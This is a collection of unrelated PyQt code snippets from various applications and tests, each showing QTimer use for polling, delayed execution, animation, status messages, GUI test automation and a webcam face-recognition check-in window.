def _processPendingEvents(): """Process pending application events.""" # Create an event loop to run in. Otherwise, we need to use the # QApplication main loop, which may already be running and therefore # unusable. qe = QEventLoop() # Create a single-shot timer. Could use QTimer.singleShot(), # but can't cancel this / disconnect it. timer = QTimer() timer.setSingleShot(True) timer.timeout.connect(qe.quit) timer.start(1) # Wait for an emitted signal. qe.exec_() # Clean up: don't allow the timer to call qe.quit after this # function exits, which would produce "interesting" behavior. timer.stop() # Stopping the timer may not cancel timeout signals in the # event queue. Disconnect the signal to be sure that loop # will never receive a timeout after the function exits. timer.timeout.disconnect(qe.quit)
class QtWaitForSelection(QMessageBox): """Window to wait for the user to select an object""" def __init__(self, parent=None): super(QtWaitForSelection, self).__init__(QMessageBox.Question, "Warte auf Auswahl", "Bitte wählen sie ein Object im 3d view aus", buttons=QMessageBox.Cancel, parent=parent) self.move(0,0) #create a timer self.timer = QTimer(self) self.timer.setInterval(50) #connect the timer to checking is anything was selected self.timer.timeout.connect(self.pollSelection) self.timer.start() self.selected = None def pollSelection(self): """Check if anything was selected""" try: #get the selected object nowSelected = getSelectedObject() except ValueError: QMessageBox.critical(self, "Mehrer Objekt Ausgewählt", "Es darf nicht mehr als ein Objekt ausgewählt sein.") for obj in bpy.data.objects: obj.select = False else: if not nowSelected is None: #stotre the selected object self.selected = nowSelected #stop the timer and close the window self.timer.stop() self.accept()
class Main(APIS): sequence = 2 # 插件加载顺序(重要,顺序不同可能导致界面混乱) name = ProgressUi.__name__ # 模块名 author = __Author__ # 作者 version = __Version__ # 版本 description = "自定义标题栏" # 描述 def __init__(self, parent = None): super(Main, self).__init__(parent) self.progressui = ProgressUi(self.parent) self.progressui.setVisible(False) # 默认不可见 self.setStyleSheet(self.progressui, self.name) # 测试加载进度 self.i = 0 self.progressui.setVisible(True) # 测试改为可见 self.timer = QTimer(timeout = self.onTimeout) self.timer.start(50) def onTimeout(self): self.i += 1 self.progressui.setValue(self.i) if self.i > 100: self.timer.stop() self.progressui.setValue(0) self.progressui.setVisible(False) def run(self): self.parent.vLayout.insertWidget(self.parent.vLayout.count() - 1, self.progressui) def stop(self): self.timer.stop() self.progressui.close() self.parent.vLayout.removeWidget(self.progressui)
class PWidget2D(QWidget): def __init__(self, parent): super(PWidget2D, self).__init__(parent) self.painting = Painting2D() self.elapsed = 0 self.setFixedSize(800, 600) self.timer = QTimer(self) self.timer.timeout.connect(self.animate) def animate(self): self.elapsed = (self.elapsed + self.sender().interval()) % 1000 self.repaint() def setAnimating(self, animating): self.m_animating = animating if animating: self.timer.start(50) def paintEvent(self, event): painter = QPainter() painter.begin(self) painter.setRenderHint(QPainter.Antialiasing) self.painting.paint(painter, event, self.elapsed) painter.end()
class GUI_Timer(QMainWindow): def __init__(self): super(QMainWindow, self).__init__() self.ui = Ui_ToF_Timer() self.ui.setupUi(self) self.timer = QTimer(self); self.timer.timeout.connect(self.update) self.timer.start(1000); def update(self): ok = False A = findWindow("Measurement Progress") if len(A)>0: B = findWindow(C="Edit", parent=A[0]) if len(B)>0: AnalTime = int(getText(B[2]).replace(",","")) TotScans = int(getText(B[1]).replace(",","")) Scans = int(getText(B[0]).replace(",","")) self.ui.label_2.setText("Scans: {} / {}".format(Scans, TotScans)); self.ui.label_3.setText("Analysis Time: {} s".format(AnalTime)); self.ui.progressBar.setValue(Scans); self.ui.progressBar.setMaximum(TotScans); ok = True if not ok: self.ui.label.setText("Remaining time: Unavailable (measurement not in progress?)") return if Scans>0: r = AnalTime*(TotScans-Scans)/Scans; h = int(r//3600) m = int((r-h*3600)//60) s = int(r-h*3600-m*60) self.ui.label.setText("Remaining time: {:02d}:{:02d}:{:02d}".format(h,m,s)); else: self.ui.label.setText("Remaining time: Unknown");
def wait(self, time_ms, callback, onredirect=None, onerror=None): """ Wait for time_ms, then run callback. If onredirect is True then the timer is cancelled if redirect happens. If onredirect is callable then in case of redirect the timer is cancelled and this callable is called. If onerror is True then the timer is cancelled if a render error happens. If onerror is callable then in case of a render error the timer is cancelled and this callable is called. """ timer = QTimer() timer.setSingleShot(True) timer_callback = functools.partial(self._on_wait_timeout, timer=timer, callback=callback, ) timer.timeout.connect(timer_callback) self.logger.log("waiting %sms; timer %s" % (time_ms, id(timer)), min_level=2) timer.start(time_ms) self._active_timers.add(timer) if onredirect: self._timers_to_cancel_on_redirect[timer] = onredirect if onerror: self._timers_to_cancel_on_error[timer] = onerror
class NPGPull(ZMQPull): def __init__(self, host, port, imgModel, table, opts, flags): ZMQPull.__init__(self, host, port, opts=[], flags=flags) self.socketTimer = QTimer() self.socketTimer.timeout.connect(self.receive) self.imgModel = imgModel self.table = table def start(self): self.connect() self.socketTimer.start(100) def stop(self): self.close() self.socketTimer.stop() def receive(self): try: data = self.puller.recv_json(flags=zmq.NOBLOCK) fn = str(data['fn'].strip()) path = str(data['path']) index = int(data['index']) total = int(data['total']) N = int(data['processed']) hit = int(data['hit']) self.imgModel.updateData(fn, path, int(index)) self.table.progress((total, N, hit)) return except zmq.error.Again: return
class _GlobalUpdateWordSetTimer: """Timer updates word set, when editor is idle. (5 sec. after last change) Timer is global, for avoid situation, when all instances update set simultaneously """ _IDLE_TIMEOUT_MS = 1000 def __init__(self): self._timer = QTimer() self._timer.setSingleShot(True) self._timer.timeout.connect(self._onTimer) self._scheduledMethods = [] def schedule(self, method): if not method in self._scheduledMethods: self._scheduledMethods.append(method) self._timer.start(self._IDLE_TIMEOUT_MS) def cancel(self, method): """Cancel scheduled method Safe method, may be called with not-scheduled method""" if method in self._scheduledMethods: self._scheduledMethods.remove(method) if not self._scheduledMethods: self._timer.stop() def _onTimer(self): method = self._scheduledMethods.pop() method() if self._scheduledMethods: self._timer.start(self._IDLE_TIMEOUT_MS)
class SC_QtGUIModule(sc_module.SCModule): def __init__(self, sc_state): super(SC_QtGUIModule, self).__init__(sc_state, "qt_gui", "qt_gui module") self.__app = QApplication([]) self.mapWidget = MapWidget() self.mapWidget.show() self.__dashboardDialog = DashboardDialog(self.sc_state) self.__dashboardDialog.show() #periodic updates... self.__updater = QTimer() self.__updater.setInterval(500) self.__updater.timeout.connect(self.time_to_update) self.__updater.start(); #more frequent updates... self.__updaterFrequent = QTimer() self.__updaterFrequent.setInterval(40) self.__updaterFrequent.timeout.connect(self.time_to_update_frequent) self.__updaterFrequent.start(); #zoom to default location: self.mapWidget.zoomTo(16, 35.716888, -120.7646408) #slots self.mapWidget.getView().just_selected_uav.connect(self.on_uav_select) def start_app(self): sys.exit(self.__app.exec_()) def time_to_update_frequent(self): #update dashboard and map: self.__dashboardDialog.update_uav_states() #update icons on map for id, uav_state in self.sc_state.swarm_state.uav_states.items(): self.mapWidget.updateIcon(id, uav_state) def time_to_update(self): #check for new textures for the map: self.mapWidget.checkForNewTextures() def unload(self): #THIS NEEDS TO WORK (IT DOES CURRENTLY) #The closeEvent handler of the dialog is what saves config: self.__dashboardDialog.close() #Doesn't work -- dunno why: #self.__mapWidget.close() #do any cleanup here self.mapWidget.done(0) self.__dashboardDialog.done(0) QApplication.quit() def on_uav_select(self, id): self.__dashboardDialog.selectUAV(id)
class Queued: """ A queued trigger. Calling the trigger will invoke the handler function in another mainloop iteration. Calling the trigger multiple times before the handler was invoked (e.g. within the same mainloop iteration) will result in only a *single* handler invocation! This can only be used with at least a ``QCoreApplication`` instanciated. """ def __init__(self, func): self.timer = QTimer() self.timer.setSingleShot(True) self.timer.timeout.connect(func) def __call__(self): """Schedule the handler invocation for another mainloop iteration.""" self.timer.start() @classmethod def method(cls, func): """Decorator for a queued method, i.e. a method that when called, actually runs at a later time.""" return property(memoize(functools.wraps(func)( lambda self: cls(func.__get__(self)))))
class MemoryInfo(QObject): def __init__(self, parent=None): super(MemoryInfo, self).__init__(parent) self.__usage = 0 self.load_usage() self.__timer = QTimer(self) self.__timer.setInterval(1000) self.__timer.setSingleShot(False) self.__timer.timeout.connect(self.load_usage) self.__timer.start() def load_usage(self): with open("/proc/self/status") as f: data = f.read() index = data.index("VmRSS:") split = data[index:].split(None, 3) self.__usage = int(split[1]) self.usage_changed.emit() usage_changed = pyqtSignal(name="usageChanged") @pyqtProperty(int, notify=usage_changed) def usage(self): return self.__usage @usage.setter def usage(self, usage): if self.__usage != usage: self.__usage = usage self.usage_changed.emit()
def main(): app = QApplication(sys.argv) io = InputHandler() # Set up signal handler to manage Ctrl+c signal.signal(signal.SIGINT, lambda *_: QApplication.quit()) global timer timer = QTimer() timer.start(500) timer.timeout.connect(lambda: None) # let python run every 500ms desktop = app.desktop() sgeom = desktop.screenGeometry() global bars bars.append(dict()) bars[0][Dock.top] = Bar(sgeom.left(), sgeom.top(), sgeom.width(), BAR_HEIGHT, flags=Qt.Widget | Qt.BypassWindowManagerHint) bars[0][Dock.bottom] = Bar(sgeom.left(), sgeom.bottom()-BAR_HEIGHT+1, sgeom.width(), BAR_HEIGHT, flags=Qt.Widget | Qt.BypassWindowManagerHint) print(bars, file=sys.stderr) for bar in bars[0].values(): bar.show() #bar.lower() io.line.connect(handle_input) sys.exit(app.exec_())
def test_simulator_graphics_view(self): self.__setup_project() self.add_all_signals_to_simulator() stc = self.form.simulator_tab_controller # type: SimulatorTabController self.assertGreater(len(stc.simulator_config.get_all_items()), 0) self.assertEqual(len(stc.simulator_scene.selectedItems()), 0) # select first message messages = stc.simulator_scene.get_all_message_items() pos = stc.ui.gvSimulator.mapFromScene(messages[0].scenePos()) QTest.mouseClick(stc.ui.gvSimulator.viewport(), Qt.LeftButton, Qt.NoModifier, pos) self.assertEqual(len(stc.simulator_scene.selectedItems()), 1) self.assertIsInstance(stc.simulator_scene.selectedItems()[0], MessageItem) rules = [item for item in stc.simulator_scene.items() if isinstance(item, RuleItem)] self.assertEqual(len(rules), 0) self.menus_to_ignore = [w for w in QApplication.topLevelWidgets() if isinstance(w, QMenu)] timer = QTimer(self.form) timer.setInterval(1) timer.setSingleShot(True) timer.timeout.connect(self.__on_context_menu_simulator_graphics_view_timer_timeout) timer.start() stc.ui.gvSimulator.contextMenuEvent(QContextMenuEvent(QContextMenuEvent.Mouse, pos)) rules = [item for item in stc.simulator_scene.items() if isinstance(item, RuleItem)] self.assertEqual(len(rules), 1)
def __init__(self): super(Window, self).__init__() aliasedLabel = self.createLabel("Aliased") antialiasedLabel = self.createLabel("Antialiased") intLabel = self.createLabel("Int") floatLabel = self.createLabel("Float") layout = QGridLayout() layout.addWidget(aliasedLabel, 0, 1) layout.addWidget(antialiasedLabel, 0, 2) layout.addWidget(intLabel, 1, 0) layout.addWidget(floatLabel, 2, 0) timer = QTimer(self) for i in range(2): for j in range(2): w = CircleWidget() w.setAntialiased(j != 0) w.setFloatBased(i != 0) timer.timeout.connect(w.nextAnimationFrame) layout.addWidget(w, i + 1, j + 1) timer.start(100) self.setLayout(layout) self.setWindowTitle("Concentric Circles")
def initUI(self): self.setGeometry(300, 100, 400, 200) self.clock = QtWidgets.QLCDNumber(self) self.clock.setDigitCount(8) self.setWindowIcon(QtGui.QIcon('clock-icon.png')) tray_icon = SystemTrayIcon(QtGui.QIcon('clock-icon.png'), self) tray_icon.show() self.progress_bar = QtWidgets.QProgressBar(self) timer = QTimer(self) timer.timeout.connect(self.update_time) timer.setInterval(100) timer.start() self.btn = QtWidgets.QPushButton("Copy") self.btn.clicked.connect(self.copy_files) self.status_bar = QtWidgets.QStatusBar(self) grid = QtWidgets.QGridLayout() grid.addWidget(self.clock, 0, 0) grid.addWidget(self.progress_bar, 1, 0) grid.addWidget(self.btn, 2, 0) self.setLayout(grid) self.show()
def _process_entry_point(channel, iface_name): logger.info('Bus monitor process started with PID %r', os.getpid()) app = QApplication(sys.argv) # Inheriting args from the parent process def exit_if_should(): if RUNNING_ON_WINDOWS: return False else: return os.getppid() != PARENT_PID # Parent is dead exit_check_timer = QTimer() exit_check_timer.setSingleShot(False) exit_check_timer.timeout.connect(exit_if_should) exit_check_timer.start(2000) def get_frame(): received, obj = channel.receive_nonblocking() if received: if obj == IPC_COMMAND_STOP: logger.info('Bus monitor process has received a stop request, goodbye') app.exit(0) else: return obj win = BusMonitorWindow(get_frame, iface_name) win.show() logger.info('Bus monitor process %r initialized successfully, now starting the event loop', os.getpid()) sys.exit(app.exec_())
def start(self): timer = QTimer(self) timer.timeout.connect(self.receiveFromNodes) timer.start(20) # Start the first simulation node on start self.addNode()
def test_save_remove_decoding(self): def set_save_name(): timer.stop() input_dialog = next(w for w in qApp.topLevelWidgets() if isinstance(w, QInputDialog)) input_dialog.setTextValue("Test decoding") input_dialog.accept() def accept_delete(): timer.stop() message_box = next(w for w in qApp.topLevelWidgets() if isinstance(w, QMessageBox)) message_box.button(QMessageBox.Yes).click() self.dialog.ui.decoderchain.addItem(constants.DECODING_CUT) self.dialog.decoderchainUpdate() self.assertEqual(self.dialog.ui.decoderchain.count(), 1) timer = QTimer(self.dialog) timer.setSingleShot(True) timer.timeout.connect(set_save_name) timer.start(10) self.dialog.ui.saveas.click() self.assertEqual(self.dialog.ui.combobox_decodings.currentText(), "Test decoding") timer.timeout.disconnect(set_save_name) timer.timeout.connect(accept_delete) timer.start(10) self.dialog.ui.delete_decoding.click() self.assertNotEqual(self.dialog.ui.combobox_decodings.currentText(), "Test decoding")
def askPasswordDialog(parent, title, prompt, timeout = None): if parent is None: app = qttools.createQApplication() translator = qttools.translator() app.installTranslator(translator) import icon dialog = QInputDialog() timer = QTimer() if not timeout is None: timer.timeout.connect(dialog.reject) timer.setInterval(timeout * 1000) timer.start() dialog.setWindowIcon(icon.BIT_LOGO) dialog.setWindowTitle(title) dialog.setLabelText(prompt) dialog.setTextEchoMode(QLineEdit.Password) QApplication.processEvents() ret = dialog.exec_() timer.stop() if ret: password = dialog.textValue() else: password = '' del(dialog) return(password)
class GameSceneInterface(QWidget): def __init__(self, scene, parent=None): super().__init__(parent) self.scene = scene self.scene.window = self self.resize(INTERFACE_WIDTH, INTERFACE_HEIGHT) self.view = graphics.GameView(self.scene, self) self.record_view = RecordArea(self) scene.set_text_out(self.record_view.text_out) self.property_view = PropertyArea(self.scene.player.status, self) self.paint_timer = QTimer() self.paint_timer.timeout.connect(self.update) self.paint_timer.start(1000 // FPS) def resizeEvent(self, event): self.view.resize(SCENE_WIDTH, SCENE_HEIGHT) self.view.move((self.size().width() - SCENE_WIDTH) // 2, self.size().height() - SCENE_HEIGHT) self.property_view.resize((self.size().width() - SCENE_WIDTH) // 2, (self.size().width() - SCENE_WIDTH) // 10 + TEXT_HEIGHT) self.property_view.move(0, self.size().height() - SCENE_HEIGHT) self.record_view.resize((self.size().width() - SCENE_WIDTH) // 2, self.size().height() / 2) self.record_view.move(0, self.size().height() / 2) def update(self): if self.scene.game_update_end_flag and self.scene.update_end_flag: self.view.update() self.property_view.update()
class GenericTerminalOutputBox(QtWidgets.QLineEdit): def __init__(self) -> None: super().__init__() self.animate = False self.timer = QTimer(self) self.timer.setInterval(5) self.timer.timeout.connect(self._add_character) self.buffer = '' def set_timer_interval(self, num: int) -> None: self.timer.setInterval(num) def _add_character(self) -> None: if not self.buffer: self.timer.stop() return super().setText(self.text() + self.buffer[0]) self.buffer = self.buffer[1:] def setText(self, text: str) -> None: if not self.animate or not text: super().setText(text) return super().setText(text[0]) if len(text) > 1: self.buffer = text[1:] self.timer.start()
class ConnectionHandler(QObject): value_changed = pyqtSignal(bool) def __init__(self, frequency_check, time_before_time_out, parent=None): super(ConnectionHandler, self).__init__(parent) self.frequency_check = frequency_check self.time_before_time_out = time_before_time_out self.internet_ok = None self.timer = QTimer(self) def start(self): self.timer.setInterval(self.frequency_check) self.timer.timeout.connect(self.update) self.timer.start() def stop(self): self.timer.stop() def emit_if_changed(self, new_value): if not self.internet_ok is new_value: self.internet_ok = new_value self.value_changed.emit(new_value) def check_internet_call(self): urllib2.urlopen('http://www.demerio.com', timeout=self.time_before_time_out) @pyqtSlot() def update(self): try: self.check_internet_call() except Exception as e: self.emit_if_changed(False) else: self.emit_if_changed(True)
def main(): app = QApplication(sys.argv) QCoreApplication.setOrganizationName('Hardcoded Software') QCoreApplication.setApplicationName(__appname__) QCoreApplication.setApplicationVersion(__version__) setupQtLogging() settings = QSettings() lang = settings.value('Language') locale_folder = op.join(BASE_PATH, 'locale') install_gettext_trans_under_qt(locale_folder, lang) # Handle OS signals setUpSignals() # Let the Python interpreter runs every 500ms to handle signals. This is # required because Python cannot handle signals while the Qt event loop is # running. from PyQt5.QtCore import QTimer timer = QTimer() timer.start(500) timer.timeout.connect(lambda: None) # Many strings are translated at import time, so this is why we only import after the translator # has been installed from qt.app import DupeGuru app.setWindowIcon(QIcon(QPixmap(":/{0}".format(DupeGuru.LOGO_NAME)))) global dgapp dgapp = DupeGuru() install_excepthook('https://github.com/hsoft/dupeguru/issues') result = app.exec() # I was getting weird crashes when quitting under Windows, and manually deleting main app # references with gc.collect() in between seems to fix the problem. del dgapp gc.collect() del app gc.collect() return result
class Runner(object): """Useful class for running jobs with a delay""" def __init__(self, delay=2000): self._timer = QTimer() self._timer.setSingleShot(True) self._timer.timeout.connect(self._execute_job) self._delay = delay self._job = None self._args = [] self._kw = {} def cancel(self): """Cancel the current job""" self._timer.stop() self._job = None self._args = [] self._kw = {} def run(self, job, *args, **kw): """Request a job run. If there is a job, cancel and run the new job with a delay specified in __init__""" self.cancel() self._job = job self._args = args self._kw = kw self._timer.start(self._delay) def _execute_job(self): """Execute job after the timer has timeout""" self._timer.stop() self._job(*self._args, **self._kw)
def run_gui_tests(tstcls, gui_test_bag): assert tstcls.app is None, "Should only encounter every class once. Check Sorting" tst_queue = queue.Queue() app = tstcls.app = QApplication([]) app.setQuitOnLastWindowClosed(False) ThreadRouter.app_is_shutting_down = False app.thread_router = ThreadRouter(app) tstcls.shell = launchShell(None, [], []) platform_str = platform.platform().lower() if 'ubuntu' in platform_str or 'fedora' in platform_str: QApplication.setAttribute(Qt.AA_X11InitThreads, True) if ilastik.config.cfg.getboolean("ilastik", "debug"): QApplication.setAttribute(Qt.AA_DontUseNativeMenuBar, True) # Note on the class test execution lifecycle # pytest infers that finalizer teardown_class should be called when # nextitem is None for item, nextitem in pairwise(gui_test_bag, tail=None): tst_queue.put((item, nextitem)) # Spawn a suite runner as a interval task suite = GuiTestSuite(tst_queue, tstcls.shell) timer = QTimer() # This timer will fire only after application is started running timer.timeout.connect(suite.poll) timer.start(100) # Every 100 ms app.exec_() timer.stop() tst_queue.join()
def highlight(self, format, cursors, priority=0, msec=0): """Highlights the selection of an arbitrary list of QTextCursors. format can be a name for a predefined text format or a QTextCharFormat; in the first case the textFormat() method should return a qtextformat to use. priority determines the order of drawing, highlighting with higher priority is drawn over highlighting with lower priority. msec, if > 0, removes the highlighting after that many milliseconds. """ if isinstance(format, QTextFormat): fmt = format key = id(format) self._formats[key] = format else: fmt = self.textFormat(format) key = format selections = [] for cursor in cursors: es = QTextEdit.ExtraSelection() es.cursor = cursor es.format = fmt selections.append(es) if msec: def clear(selfref=weakref.ref(self)): self = selfref() if self: self.clear(format) timer = QTimer(timeout=clear, singleShot=True) timer.start(msec) self._selections[key] = (priority, selections, timer) else: self._selections[key] = (priority, selections) self.update()
def register_timer(self, time_delta, callback): """Registers a callback function to be run after time_delta ms.""" timer = QTimer(self.window) timer.setSingleShot(True) timer.timeout.connect(callback) timer.setInterval(time_delta) timer.start()
class DeviceReader(QThread): """Used for polling data from the Input layer during configuration""" raw_axis_data_signal = pyqtSignal(object) raw_button_data_signal = pyqtSignal(object) mapped_values_signal = pyqtSignal(object) def __init__(self, input): QThread.__init__(self) self._input = input self._read_timer = QTimer() self._read_timer.setInterval(25) self._read_timer.timeout.connect(self._read_input) def stop_reading(self): """Stop polling data""" self._read_timer.stop() def start_reading(self): """Start polling data""" self._read_timer.start() def _read_input(self): [rawaxis, rawbuttons, mapped_values] = self._input.read_raw_values() self.raw_axis_data_signal.emit(rawaxis) self.raw_button_data_signal.emit(rawbuttons) self.mapped_values_signal.emit(mapped_values)
class _StatusBar(QStatusBar): """Extended status bar. Supports HTML messages """ def __init__(self, *args): QStatusBar.__init__(self, *args) self.setSizePolicy(QSizePolicy.MinimumExpanding, QSizePolicy.Expanding) self.setSizeGripEnabled(False) self.setStyleSheet("QStatusBar {border: 0} QStatusBar::item {border: 0}") self._label = QLabel(self) self._label.setAlignment(Qt.AlignHCenter | Qt.AlignVCenter) self._label.setStyleSheet("color: red") self.addWidget(self._label) self._timer = QTimer() self._timer.setSingleShot(True) self._timer.timeout.connect(self.clearMessage) def term(self): self._timer.stop() def showMessage(self, text, timeout=0): """QStatusBar.showMessage() """ self._label.setText(text) self._timer.stop() if timeout > 0: self._timer.start(timeout) def clearMessage(self): """QStatusBar.clearMessage() """ self._label.clear() def currentMessage(self): return self._label.text()
class Example(QMainWindow): def __init__(self): super(Example, self).__init__() self.initUI() self.initRobot() self.initTimer() self.label.show() def initUI(self): self.imgAvailable = QImage("./image/robot_available.png") self.imgDisable = QImage("./image/robot_disable.png") self.label = QLabel() self.label.setPixmap(QPixmap.fromImage(self.imgDisable)) def initRobot(self): self.R = MicRobot() self.R.serReady.connect(self.robotReady) self.R.serFail.connect(self.robotFail) def robotReady(self): self.label.setPixmap(QPixmap.fromImage(self.imgAvailable)) def robotFail(self): print "robotFail" self.label.setPixmap(QPixmap.fromImage(self.imgDisable)) def initTimer(self): self.timer = QTimer() self.timer.timeout.connect(self.R.checkAvailable) self.timer.start(1000)
class Check_In_Window(QMainWindow): def __init__(self): super(Check_In_Window, self).__init__() loadUi("/home/bit/PycharmProjects/GrabNGOCheckIn&Out/Check_In_Window.ui", self) # self.detector = MTCNN() self.mtcnn = MTCNN(select_largest=True, device='cuda') # some constants kept as default from facenet minsize = 20 threshold = [0.6, 0.7, 0.7] factor = 0.709 margin = 44 self.input_image_size = 160 self.sess = tf.compat.v1.Session(config=tf.compat.v1.ConfigProto(log_device_placement=True)) pre_trained_facenet.load_model('/home/bit/PycharmProjects/GrabNGOCheckIn&Out/model/20170512-110547.pb') self.images_placeholder = tf.get_default_graph().get_tensor_by_name("input:0") self.embeddings = tf.get_default_graph().get_tensor_by_name("embeddings:0") self.phase_train_placeholder = tf.get_default_graph().get_tensor_by_name("phase_train:0") self.embedding_size = self.embeddings.get_shape()[1] self.startVideo('0') def startVideo(self, camera_name): """ :param camera_name: link of camera or usb camera :return: """ if len(camera_name) == 1: self.capture = cv2.VideoCapture(int(camera_name)) else: self.capture = cv2.VideoCapture(camera_name) self.timer = QTimer(self) # Create Timer # path = './Face_Recognition/images' path = '/home/ftpuser/ftp/files/' if not os.path.exists(path): os.mkdir(path) # known face encoding and known face name list self.images = [] self.class_names = [] self.boxes = [] attendance_list = os.listdir(path) for cl in attendance_list: cur_img = cv2.imread(f'{path}/{cl}') print(cur_img) self.images.append(cur_img) # print('image',cur_img) # cur_img = cv2.resize(cur_img, (504,378)) faces_detected = 0 start = time.time() # result = self.detector.detect_faces(cur_img) box = self.mtcnn.detect(cur_img,True) faces_detected += len(box) print(box) print( f'Frames per second: {(time.time() - start):.3f},', f'faces detected: {faces_detected}\r' ) self.boxes.append(box) self.class_names.append(os.path.splitext(cl)[0]) self.timer.timeout.connect(self.update_frame) # Connect timeout to the output function self.timer.start(10) # emit the timeout() signal at x=10ms def face_rec_(self, frame): """ :param frame: frame from camera :param encode_list_known: known face encoding :param class_names: known face names :return: """ box = self.mtcnn.detect(frame,True) # print(box) # print(box[0]) # print('길이',len(box[0])) if box[0] is None: print('없') else: print('heeeeeeeeeeeeeeeeeeeeeeee') print(box) print(len(self.images),len(self.boxes),len(self.class_names)) for i, b, c in zip(self.images,self.boxes,self.class_names): print('for loop') print(b) distance = self.compare2face(i, frame, b, box) print('여기까진?') threshold = 0.7 # set yourself to meet your requirement print("distance = " + str(distance),' 사진번호: ', c) name = 'unknonw' if (distance <= threshold): name = c print(name) print("distance = " + str(distance), ' 인덱: ', c) self.mark_attendance(name) return frame def mark_attendance(self, name): """ :param name: detected face known or unknown one :return: """ if name != 'unknonw': print(name) self.logIn(name) def logIn(self, name): customer_id = int(name) DB = DB_Connection() cnt = DB.select_user(customer_id) if cnt[0] == "False": greeting = cnt[1] + '님이 입장하셨습니다.' print(name, '님이 입장하셨습니다.') DB.update_login_session_T(customer_id) self.GreetingLabel.setText(greeting) def update_frame(self): ret, image = self.capture.read() # print(image) self.displayImage(image) def displayImage(self, image, window=1): """ :param image: frame from camera :param encode_list: known face encoding list :param class_names: known face names :param window: number of window :return: """ # print(image.shape) try: image = self.face_rec_(image) except Exception as e: print('뭐지?',e) # image = cv2.resize(image, (640, 480)) qformat = QImage.Format_Indexed8 if len(image.shape) == 3: if image.shape[2] == 4: qformat = QImage.Format_RGBA8888 else: qformat = QImage.Format_RGB888 outImage = QImage(image, image.shape[1], image.shape[0], image.strides[0], qformat) outImage = outImage.rgbSwapped() if window == 1: self.imgLabel.setPixmap(QPixmap.fromImage(outImage)) self.imgLabel.setScaledContents(True) def getFace(self, img, box): faces = [] # print(box) box = box[0][0] # print(box) box = np.int32(box) # Result is an array with all the bounding boxes detected. We know that for 'ivan.jpg' there is only one. # bounding_box = result # keypoints = result[0]['keypoints'] cv2.rectangle(img, (box[0], box[1]), (box[2], box[3]), (0, 155, 255), 2) # cv2.circle(img, (keypoints['left_eye']), 2, (0, 155, 255), 2) # cv2.circle(img, (keypoints['right_eye']), 2, (0, 155, 255), 2) # cv2.circle(img, (keypoints['nose']), 2, (0, 155, 255), 2) # cv2.circle(img, (keypoints['mouth_left']), 2, (0, 155, 255), 2) # cv2.circle(img, (keypoints['mouth_right']), 2, (0, 155, 255), 2) # cv2.imwrite("/home/bit/PycharmProjects/GrabNGOCheckIn&Out/Webcam-based-Face-Recognition-using-Deep-Learning-/Face_Recognition/check/dd_drawn.jpg", img) cropped = img[box[1]:box[3], box[0]:box[2]] # cv2.imwrite("/home/bit/PycharmProjects/GrabNGOCheckIn&Out/Webcam-based-Face-Recognition-using-Deep-Learning-/Face_Recognition/check/dd_cropped.jpg", cropped) rearranged = cv2.resize(cropped, (self.input_image_size, self.input_image_size), interpolation=cv2.INTER_CUBIC) # cv2.imwrite("/home/bit/PycharmProjects/GrabNGOCheckIn&Out/Webcam-based-Face-Recognition-using-Deep-Learning-/Face_Recognition/check/dd_resized.jpg", rearranged) prewhitened = pre_trained_facenet.prewhiten(rearranged) faces.append({'face': rearranged, 'embedding': self.getEmbedding(prewhitened)}) return faces def getEmbedding(self, resized): reshaped = resized.reshape(-1, self.input_image_size, self.input_image_size, 3) feed_dict = {self.images_placeholder: reshaped, self.phase_train_placeholder: False} embedding = self.sess.run(self.embeddings, feed_dict=feed_dict) return embedding def compare2face(self, img1, img2, box1, box2): face1 = self.getFace(img1,box1) print('여기') face2 = self.getFace(img2,box2) # cv2.imwrite('image1.jpg', img2) print('여기2') if face1 and face2: # print('face1',face1) # print('face2',face2) # print(len(face1[2])) # print(len(face2[0])) # calculate Euclidean distance dist = np.sqrt(np.sum(np.square(np.subtract(face1[0]['embedding'], face2[0]['embedding'])))) return dist return -1
def delayExecuting(self, func, delayInSec): timer = QTimer(self) timer.setInterval(delayInSec) timer.setSingleShot(True) timer.timeout.connect(func) timer.start()
class ControlWindow(QMainWindow): def __init__(self, parent): super().__init__(parent) self.title = "tring" self.openCamera = False self.caper = None self.samplerAction = QAction("sampler", self) self.trainAction = QAction("train", self) self.saveAction = QAction("save", self) self.loadAction = QAction("load", self) self.selectImageAction = QAction("selectIamge", self) self.cameraAction = QAction("openCamera", self) self.imageLabel = ShowLabel(None) self.timer = QTimer(self) self.initUI() self.initAction() def initUI(self): widget = QWidget(None) layout = QHBoxLayout(None) layout.addWidget(self.imageLabel, 1, Qt.AlignCenter) widget.setLayout(layout) self.setCentralWidget(widget) menubar = self.menuBar() moduleMenu = menubar.addMenu("module") moduleMenu.addAction(self.samplerAction) moduleMenu.addAction(self.trainAction) moduleMenu.addAction(self.saveAction) moduleMenu.addAction(self.loadAction) imageMenu = menubar.addMenu("image") imageMenu.addAction(self.selectImageAction) imageMenu.addAction(self.cameraAction) self.resize(300, 300) def initAction(self): self.samplerAction.triggered.connect(self.onSampler) self.trainAction.triggered.connect(self.onTrain) self.saveAction.triggered.connect(self.onSave) self.loadAction.triggered.connect(self.onLoad) self.selectImageAction.triggered.connect(self.onSelectImage) self.cameraAction.triggered.connect(self.onCamera) self.timer.timeout.connect(self.onTimer) self.timer.start(100) def onSampler(self): path = QFileDialog.getExistingDirectory(self, "select sample dir") if len(path) <= 0: return sampler.initSampler(path) def onTrain(self): classfier.startTrain() def onSave(self): path = QFileDialog.getSaveFileName(self, "save path")[0] if len(path) == 0: return print(path) classfier.setSavePath(path) def onLoad(self): path = QFileDialog.getOpenFileName(self, "select")[0] if len(path) == 0: return path = os.path.splitext(path)[0] print(path) classfier.loadModule(path) def passImage(self, image): retRect = recognizer.getFaceRegion(image) self.imageLabel.setRect(retRect) cv2.imwrite("temp.png", image) pixmap = QPixmap.fromImage(QImage("temp.png")) #pixmap=QPixmap.fromImage(image) self.imageLabel.setPixmap(pixmap) self.imageLabel.update() def onSelectImage(self): if self.openCamera == True: return path = QFileDialog.getOpenFileName(self, "select")[0] if len(path) == 0: return image = cv2.imread(path) self.passImage(image) def onCamera(self): if self.openCamera == False: try: self.caper = cv2.VideoCapture(0) except Exception as e: print(str(e)) return self.openCamera = True else: try: self.caper.release() self.caper = None except Exception as e: print(str(e)) return self.openCamera = False def onTimer(self): if len(classfier.message) == 0: self.setWindowTitle(self.title) else: self.setWindowTitle(classfier.message) if self.openCamera == True: ret, image = self.caper.read() self.passImage(image)
